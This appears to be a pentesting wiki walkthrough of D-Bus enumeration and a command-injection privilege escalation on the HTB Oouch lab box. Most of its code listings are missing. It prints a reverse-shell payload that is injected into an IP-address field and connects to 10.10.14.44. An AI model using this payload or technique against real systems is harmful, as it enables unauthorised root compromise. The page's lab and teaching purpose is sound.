D-Bus Enumeration & Command Injection Privilege Escalation

The examples of this page are based on the Oouch box from HTB.

GUI enumeration

Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by privileged services to expose system-wide relevant services, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.

Each service is defined by the objects and interfaces that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its object path – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the org.freedesktop.DBus.Introspectable interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.

Figure 1. D-Feet main window

Figure 2. D-Feet interface window

D-Feet is an excellent tool that proved essential during my research. On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the org.debin.apt service, and D-Feet automatically queried the service for all the available objects. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each IPC exposed method.

We can also see the pid of the process that hosts each service, as well as its command line. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.

D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.

Figure 3. Calling D-Bus Methods through D-Feet

Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.

Figure 4. A method that requires authorization

Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. We will come back to this later in this blog post.

Cmd line Enumeration

List Service Objects

It's possible to list opened D-Bus interfaces with:

Service Object Info

Then, you can obtain some information about the interface with:

List Interfaces of a Service Object

You need to have enough permissions.

Introspect Interface of a Service Object

Note how in this example it was selected the latest interface discovered using the tree parameter (see previous section):

Note the method .Block of the interface htb.oouch.Block (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.

Monitor/Capture Interface

With enough privileges (just send_destination and receive_sender privileges aren't enough) you can monitor a D-Bus communication. In the following example the interface htb.oouch.Block is monitored and the message "lalalalal" is sent through miscommunication:

You can use capture instead of monitor to save the results in a pcap file.

More

Vulnerable Scenario

As user qtc inside the host "oouch" you can find an unexpected D-Bus config file located in /etc/dbus-1/system.d/htb.oouch.Block.conf:

Note from the previous configuration that you will need to be the user root or www-data to send and receive information via this D-BUS communication.

As user qtc inside the docker container aeb4525789d8 you can find some dbus related code in the file /code/oouch/routes.py. This is the interesting code:

As you can see, it is connecting to a D-Bus interface and sending to the "Block" function the "client_ip".

In the other side of the D-Bus connection there is some C compiled binary running. This code is listening in the D-Bus connection for IP address and is calling iptables via system function to block the given IP address. The call to system is vulnerable on purpose to command injection, so a payload like the following one will create a reverse shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

Exploit it

At the end of this page you can find the complete C code of the D-Bus application. Inside of it you can find between the lines 91-97 how the D-Bus object path and interface name are registered. This information will be necessary to send information to the D-Bus connection:

Also, in line 57 you can find that the only method registered for this D-Bus communication is called Block(Thats why in the following section the payloads are going to be sent to the service object htb.oouch.Block, the interface /htb/oouch/Block and the method name Block):

Python

The following python code will send the payload to the D-Bus connection to the Block method via block_iface.Block(runme) (note that it was extracted from the previous chunk of code):

busctl and dbus-send

• dbus-send is a tool used to send message to “Message Bus”

• Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.

• “-system” tag is used to mention that it is a system message, not a session message (by default).

• “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.

• “–dest=Dbus-Interface-Block” The address of the Dbus interface.

• “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.

Note that in htb.oouch.Block.Block, the first part (htb.oouch.Block) references the service object and the last part (.Block) references the method name.

C code